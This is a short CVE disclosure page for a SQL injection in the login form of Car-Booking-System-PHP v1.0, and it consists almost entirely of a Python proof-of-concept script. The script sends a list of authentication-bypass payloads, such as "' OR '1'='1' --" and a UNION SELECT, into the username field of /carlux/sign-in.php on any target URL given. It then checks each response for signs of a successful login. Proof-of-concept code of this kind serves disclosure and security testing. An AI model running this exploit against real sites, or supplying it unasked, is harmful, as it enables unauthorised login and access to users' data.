CVE-2025-63451: Car-Booking-System-PHP v1.0 登录页面SQL注入漏洞

# CVE-2025-63451 SQL Injection PoC # Target: Car-Booking-System-PHP v1.0 # Location: /carlux/sign-in.php import requests import sys def test_sql_injection(target_url): """ Test for SQL Injection vulnerability in login form """ login_url = f"{target_url}/carlux/sign-in.php" # Basic SQL injection payloads for authentication bypass payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "' OR '1'='1' #", "admin' UNION SELECT 1,2,3--", "' OR 1=1--", ] for payload in payloads: print(f"[*] Testing payload: {payload}") # Try username field injection data = { 'username': payload, 'password': 'anything' } try: response = requests.post(login_url, data=data, timeout=10) # Check for successful login indicators if 'dashboard' in response.text.lower() or 'welcome' in response.text.lower(): print(f"[!] Potential vulnerability found with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue print("[*] Basic tests completed. Manual verification recommended.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)